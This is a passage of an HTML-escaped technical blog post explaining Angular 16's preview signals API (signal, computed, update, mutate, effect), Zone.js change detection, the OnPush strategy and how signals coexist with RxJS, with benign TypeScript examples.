reactivity in Solid. They contain values that change over time; when you change a signal&amp;#x27;s value, it automatically updates anything that uses it.&lt;/em&gt;&lt;/strong&gt;&amp;quot;&lt;/p&gt;&lt;p&gt;Signals are an event-driven programming paradigm, similar to that of the DOM, which allows developers to generate custom events and create effects in the code upon the emission of a value. Signals offers numerous advantages, including writing simple, reactive, and easy-to-maintain code. Additionally, signals are agnostic with respect to the framework used, which means they integrate starting from a vanilla JS library with ease.
Signals can be created from a keyword like &lt;code&gt;signal&lt;/code&gt; in Angular:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;MyClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;double&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;computed&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() * &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;changeCount&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this example, a signal of type number is created with an initial value of 0, while a second signal is calculated from the first one. When the &lt;code&gt;changeCount&lt;/code&gt; function executes, &lt;code&gt;count&lt;/code&gt; will be updated with the value of 5, while double will become 10 thanks to the &lt;code&gt;computed&lt;/code&gt; method that returns a new signal based on another one&amp;#x27;s value. Furthermore, other methods are made available to the developer in the getter, used for modifying and notifying them to observers, such as &lt;code&gt;mutate&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, and &lt;code&gt;effect&lt;/code&gt;:&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; + &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;update&lt;/code&gt; method allows modifying the signal based on its previous value, which is useful in the case of immutable starting values.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;ids&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[]&amp;gt;([]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;ids&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;mutate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Mario Rossi&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;dateOfBirth:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;11/11/2000&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;mutate&lt;/code&gt; method, similarly to &lt;code&gt;update&lt;/code&gt;, allows modifying the signal value by directly updating it.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;signal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;effect&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Count is:&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;//LOG: Count is: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;//LOG: Count is: 1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, a signal can generate effects thanks to the effect() function. This function will execute the code inside it every time the signal emits a value.
It should be specified that the implementation shown here refers to the preview of Angular version 16, and depending on the framework used or future changes, it could vary drastically. In the case of the new Signals&amp;#x27; API in Angular, helper functions for integration with RxJs will be added, but they are not yet defined.&lt;/p&gt;&lt;h2 id=&quot;angulars-current-status&quot;&gt;Angular&amp;#x27;s current status&lt;/h2&gt;&lt;p&gt;The majority of the Angular community is excited about the implementation of signals, considering them a useful and necessary upgrade. In the last three releases, the development team has introduced numerous features, such as standalone components, improved stack tracing, and the addition of directives to host elements, which have modernized and simplified the framework. With these improvements, development is much easier and faster, making the learning curve less steep for newcomers. However, to fully understand the usefulness of signals, it is necessary to understand how Angular renders components and how it detects changes.&lt;/p&gt;&lt;h2 id=&quot;the-problem-with-zonejs-and-change-detection&quot;&gt;The problem with Zone.js and Change Detection&lt;/h2&gt;&lt;p&gt;In Angular, the Change Detection process keeps the interface synchronized with the internal state of the application. It allows the framework to automatically update the DOM when the application state changes. Angular uses a library called Zone.js to detect changes. This library checks the application&amp;#x27;s data model objects to determine if their values have changed. However, the use of Zone.js can be a performance issue for Angular, as it must be loaded and executed before it can detect changes in the data. Additionally, every event must be tracked even if it does not cause changes in the data model, and since Angular does not use a virtual DOM, the entire component tree is checked by dirty checking, impacting speed and efficiency.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1024px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/94caff50a3a2ee25c776934e4beeed0e/2bef9/Zone.js-en.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M332%2074v15l-6%201c-14%202-24%2013-26%2028l-2%204h-1v1l3%203a33%2033%200%200056%2019c18-18%208-52-18-56h-4v-8l-1-8-1%201m-97%2016c-10%203-16%209-21%2017-4%208-4%2022%200%2030%205%2010%2015%2016%2025%2018h5v7c-1%205%200%207%201%207v-14h4c13-3%2027-16%2027-27l2-4v-4l-2-4c0-4-6-14-10-18-8-7-22-11-31-8m-1%206c-23%208-25%2041-2%2052%206%203%2019%202%2025-1%2020-12%2020-40-1-50-6-3-16-4-22-1m88%200c-15%205-22%2024-14%2039%2013%2026%2052%2016%2052-13%200-20-19-33-38-26M55%20114c-2%202-1%209%201%2011%204%204%208%201%208-6%200-5-6-8-9-5m88%201c-3%202-2%208%200%2010%204%204%208%201%208-5%200-7-5-9-8-5m90%200c-4%204-2%2012%203%2012%203%200%205-2%205-7%200-6-5-9-8-5m87%200c-4%204-1%2012%204%2012%203%200%205-4%205-8-1-6-6-7-9-4m-180%2048c-6%206-8%208-7%209s2%200%207-5l7-6%201%209c3%2042%2029%2074%2069%2087a94%2094%200%2000121-88c0-14-2-15-3-1-4%2053-44%2091-96%2089-49-2-85-38-88-88l-1-8%206%206%206%205v-3l-13-14-9%208M38%20190h-6c-2-2-5%201-3%202%201%202%207%202%208%201h1c0%202%203%201%203-1s0-2%201%200%203%202%204%200h1l1%202h1c1%203%204%201%204-2s-2-4-4-2h-1l-2-1h-2c0-1-4-1-6%201m57-1h-2c-2%200-3%201-3%202h-1c-1-2-3-2-4-1h-2c-2-1-11-1-12%201s2%204%203%202h24l1%201%202-1h1c0%202%202%201%202-1l1%201c1%201%201%201%201-1%200-3-3-4-4-2h-1l-1-1-2%201h-1l-1-2-1%201m111%202v3l1-1h1c2%201%204%201%204-1l1%201%201%201h1c2%203%204%202%204-1v-1l1%201%205%201c5%200%205-1%205-3s-3-3-3%200c-1%201-1%201-1-1s-2-3-2-1l-1%201c-1-1-1%200-1%201h-1c-1-2-10-2-10%200l-1-1c-2-3-3-3-4%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/94caff50a3a2ee25c776934e4beeed0e/c85cb/Zone.js-en.webp 300w,/static/94caff50a3a2ee25c776934e4beeed0e/e88ff/Zone.js-en.webp 600w,/static/94caff50a3a2ee25c776934e4beeed0e/a9a89/Zone.js-en.webp 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/94caff50a3a2ee25c776934e4beeed0e/5a46d/Zone.js-en.png 300w,/static/94caff50a3a2ee25c776934e4beeed0e/0a47e/Zone.js-en.png 600w,/static/94caff50a3a2ee25c776934e4beeed0e/2bef9/Zone.js-en.png 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 1 - Zone.js (zone.js at work)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/94caff50a3a2ee25c776934e4beeed0e/2bef9/Zone.js-en.png&quot; title=&quot;Image 1 - Zone.js (zone.js at work)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 1 - Zone.js (zone.js at work)&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;h2 id=&quot;can-we-fix-change-detection&quot;&gt;Can we fix Change Detection?&lt;/h2&gt;&lt;p&gt;Currently, the problem generated by Change Detection in Angular cannot be definitively solved. However, developers use an alternative that is easily integrable with reactive programming (which I recommend reading about in this fantastic article written by colleagues Cristian Bianco and Mauro Celani, which you can find &lt;a href=&quot;https://techblog.smc.it/it/2020-04-19/reactive-vs-imperative&quot;&gt;here&lt;/a&gt;). This method is based on the OnPush strategy, which allows changes to be detected only at the moment when the data is updated, i.e. on the &amp;quot;push&amp;quot;.
In particular, they use the async pipe in templates, avoiding subscribing in the code. Instead of navigating the entire component tree, Angular will only check the subtree from which the modification originated.&lt;/p&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;Component&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;selector:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;async-observable-pipe&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;template:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;lt;div&amp;gt;&amp;lt;code&amp;gt;observable|async&amp;lt;/code&amp;gt;: Time: {{ time | async }}&amp;lt;/div&amp;gt;&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;export&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;AsyncObservablePipeComponent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Observable&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;((&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setInterval&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(() &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;observer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;()), &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;the-key-to-fine-grained-reactivity&quot;&gt;The key to fine-grained reactivity&lt;/h2&gt;&lt;p&gt;The listed issues will be resolved by the introduction of signals in Angular. In particular, the team aims to add a reactive primitive that, integrated with the Angular templating engine, allows notifying the framework when the value associated with the view changes and needs to be updated in the DOM. This process of fine-grained view updating, also known as fine-grained reactivity, will eliminate the need to use Zone.js. Another advantage of using signals is their glitch-free execution. They are based on two abstractions: the Producer and the Consumer. A dependency tree is built, where each node has two edges that connect it to its child or parent nodes. This allows each node to know the state of its consumers and vice versa. In this way, a Producer can update all its Consumers and propagate changes without emitting side-effects, thus avoiding creating intermediate states that the developer would need to manage to prevent glitches. When all nodes have been updated (synchronously), the effects are executed, which solves a problem often encountered when using Rxjs.&lt;/p&gt;&lt;h2 id=&quot;the-future-of-rxjs&quot;&gt;The future of RxJS&lt;/h2&gt;&lt;p&gt;One of the most frequently asked questions regarding the introduction of signals in Angular is: Will RxJs be eliminated? The answer is definitely no. Despite signals being a useful tool that will improve developers&amp;#x27; experience, they cannot replace RxJs and its observables in all asynchronous operations, such as http requests. The relationship between signals and RxJs will likely be symbiotic, allowing for the use of signals for handling more immediate values and the use of observables for all asynchronous operations that can benefit from its advanced operators. In this way, both tools can coexist and integrate effectively, improving the efficiency and scalability of Angular applications.
&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1024px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M305%2033l-1%203c1%202%206%202%207%200h1l1%201h3l1%201c2-1%207-2%208-1h7c5%200%206-1%205-2-1-3-2-3-3-1l-1%201-1-2h-10c-2-1-2-1-3%201l-2%202v-2l1-2-2%201h-4c-3-1-4-1-4%201%200%201%200%202-1%201v-1l-1-1h-1m-203%2090l-1%202c0%201%203%202%2013%202l14-1h1l4%201c2%200%202%200%201-1v-1l1-1c0-1-1-2-3-2l-2%201h-13l-1%202h-1c0-2-2-3-3-1h-2c0-2-3-3-4%200h-1c-1-2-3-3-3-1m-31%209l2%202%201-1%202-1%201%201%2011%201%2011-1-1-2c-1-2-1-2-3-1l-1%201-1-2-1%201H75c-2-1-4-1-4%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/747ba6f13493378cce04ad05b3175a07/c85cb/signal-v-observable.webp 300w,/static/747ba6f13493378cce04ad05b3175a07/e88ff/signal-v-observable.webp 600w,/static/747ba6f13493378cce04ad05b3175a07/a9a89/signal-v-observable.webp 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/747ba6f13493378cce04ad05b3175a07/5a46d/signal-v-observable.png 300w,/static/747ba6f13493378cce04ad05b3175a07/0a47e/signal-v-observable.png 600w,/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png 1024w&quot; sizes=&quot;(max-width: 1024px) 100vw, 1024px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Image 2 - Synchronus and Asynchronous reactivity (Synchronus and Asynchronous reactivity)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/747ba6f13493378cce04ad05b3175a07/2bef9/signal-v-observable.png&quot; title=&quot;Image 2 - Synchronus and Asynchronous reactivity (Synchronus and Asynchronous reactivity)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Image 2 - Synchronus and Asynchronous reactivity (Synchronus and Asynchronous reactivity)&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;/p&gt;&lt;h2 id=&quot;final-toughts&quot;&gt;Final toughts&lt;/h2&gt;&lt;p&gt;In conclusion, the introduction of signals in Angular represents a significant evolution that will greatly improve developers&amp;#x27; experience and provide important performance boosts, further consolidating Angular&amp;#x27;s position as one of the leading Javascript frameworks on the market. The combination of signals with RxJs will also offer a highly efficient and scalable solution for handling both synchronous and asynchronous operations, allowing developers to create even more powerful and complex applications.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
